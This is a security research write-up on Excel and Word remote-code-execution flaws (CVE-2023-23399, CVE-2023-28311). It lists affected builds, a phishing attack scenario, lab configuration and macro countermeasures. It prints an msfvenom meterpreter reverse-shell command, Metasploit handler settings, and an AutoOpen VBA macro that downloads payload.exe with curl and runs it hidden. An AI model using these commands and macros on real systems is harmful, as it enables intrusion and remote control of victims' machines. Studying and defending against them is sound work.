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Research & Technique 
    

 

Microsoft Excel RCE vulnerability (CVE-2023-23399), and 

Microsoft Word RCE vulnerability (CVE-2023-28311) 

■ Outline of vulnerabilities 
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■ Affected software versions 

 

S/W classification Version 

Microsoft products 

Current Channel: Version 2302 (Build 16130.20306) 

Monthly Enterprise Channel: Version 2301 (Build 16026.20238) 

Monthly Enterprise Channel: Version 2212 (Build 15928.20298) 

Semi-Annual Enterprise Channel (Preview): Version 2301 (Build 16130.20306) 

Semi-Annual Enterprise Channel: Version 2208 (Build 15601.20578) 

Semi-Annual Enterprise Channel: Version 2202 (Build 14931.20944) 

Office 2021 Retail: Version 2301 (Build 16130.20306) 

Office 2019 Retail: Version 2302 (Build 16130.20306) 

Office 2016 Retail: Version 2302 (Build 16130.20306) 

Office LTSC 2021 Volume Licensed: Version 2108 (Build 14332.20481) 

Office 2019 Volume Licensed: Version 1808 (Build 10396.20023) 

※ Outlook for Android, iOS, Mac, and web (OWA), and other Microsoft 365 services are not affected. 

 

 

S/W classification Version 

Microsoft products 

Current Channel: Version 2303 (Build 16227.20280) 

Monthly Enterprise Channel: Version 2302 (Build 16130.20394) 

Monthly Enterprise Channel: Version 2301 (Build 16026.20274) 

Semi-Annual Enterprise Channel (Preview): Version 2302 (Build 16130.20394) 

Semi-Annual Enterprise Channel: Version 2208 (Build 15601.20626) 

Semi-Annual Enterprise Channel: Version 2202 (Build 14931.20964) 

Office 2021 Retail: Version 2303 (Build 16227.20280) 

Office 2019 Retail: Version 2303 (Build 16227.20280) 

Office 2016 Retail: Version 2303 (Build 16227.20280) 

Office LTSC 2021 Volume Licensed: Version 2108 (Build 14332.20493) 

Office 2019 Volume Licensed: Version 1808 (Build 10397.20021) 
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■ Attack scenario 

 

① The attacker exploits the vulnerability and sends a malicious document (example: disguised as a resume, 

request, invoice, etc.) to the victim. 

② The victim executes the malicious document and allows the macro. 

③ The macro function operates on the victim's PC to download and execute the malicious code of the attacker 

server. 

④ The attacker takes control of the victim through remote command execution. 

 

 

■ Information on test environment configuration  

Name Information 

Victim 

Windows 10 Version 22H2 (OS Build 19045.2846) 

MSO 365 Office Build 

(15.0.4517.1504 32-bit) 

Attacker 
Windows 10 Version 22H2 (OS Build 19045.2006) 

kali-linux-2023 (6.1.0-kali5-amd64) 
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■ Vulnerability test and description 
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RCE 

(description of 

Figure 6) 

Private Sub WorkSHeet_SelectionChange(ByVal Target As Range) 

-> This function executes an internal function when the A1 shell is clicked. 

Sub RCE 

-> It assigns the calc.exe character string (calculator) to the program variable through Dim, 

and execute it using the shell function. At this time, the vbNormalFocus value corresponding 

to the second factor is set to 1 to run the process as a normal window. 

 

 

 

External URL 

access 

(description of 

Figure 7) 

Private Sub Worksheet_SelectionChange (ByVal Target As Range) 

-> This function executes an internal function when the shell in column A is clicked. 

Sub drivebydownload 

-> This code creates the Shell.Application object, executes the Edge browser through 

ShellExecute, and opens https://www.skshieldus.com/ website. 
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AutoOpen  

(description of 

Figure 9) 

Sub AutoOpen 

-> Use the shell function to download eqst.txt of the 192.168.100.152 server using curl at the 

command prompt. At this time, to hide the attack in case of failure, use the -s option to hide 

the error output. Then, use notepad.exe to output the contents of eqst.txt stored in the TEMP 

folder. At this time, use the vbHidden option to hide the cmd window where the shell function 

is executed. 
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■ Vulnerability exploitation scenario 

 

 

command 

$ msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o payload.exe LHOST= 192.168.100.152 

LPORT=4444 

 

Description of options 

- p: An option for specifying a module selection 

- f: An option for selecting an extension 

- o: An option for designating a name 

- LHOST: Address of the source IP to be connected to the shell 

- LPORT: Address of the port to be connected to the shell 

 

This command creates an interactive reverse shell with the name of payload.exe, which the victim 

connects to the 4444 port of the 192.168.100.152 IP. 
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command 

# use exploit/multi/handler 

# set payload windows/x64/meterpreter/reverse_tcp 

# set LHOST 192.168.100.152 

# set LPORT 4444 

# exploit 

 

 

 

VBA 

Sub AutoOpen() 

    Call Shell("cmd.exe /S /c" & "curl -s http://192.168.100.152/payload.exe > " & 

Environ("TEMP") & "\payload.exe && start /B " & Environ("TEMP") & "\payload.exe", 

vbHidden) 

AutoOpen 

(Figure 13) 

Sub AutoOpen 

-> Use the shell function to download payload.exe from the 192.168.100.152 server using 

curl at the command prompt and execute it. 
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■ Countermeasure 

 

 

 

 

1. Trusted Locations – Specifying the area of trusted paths 

2. Trusted Documents – Specifying the area of the documents of trusted paths 

3. Macro Setting – Specifying macro-related settings 
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Check the additionally allowed paths other than the default 
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■ Reference sites 


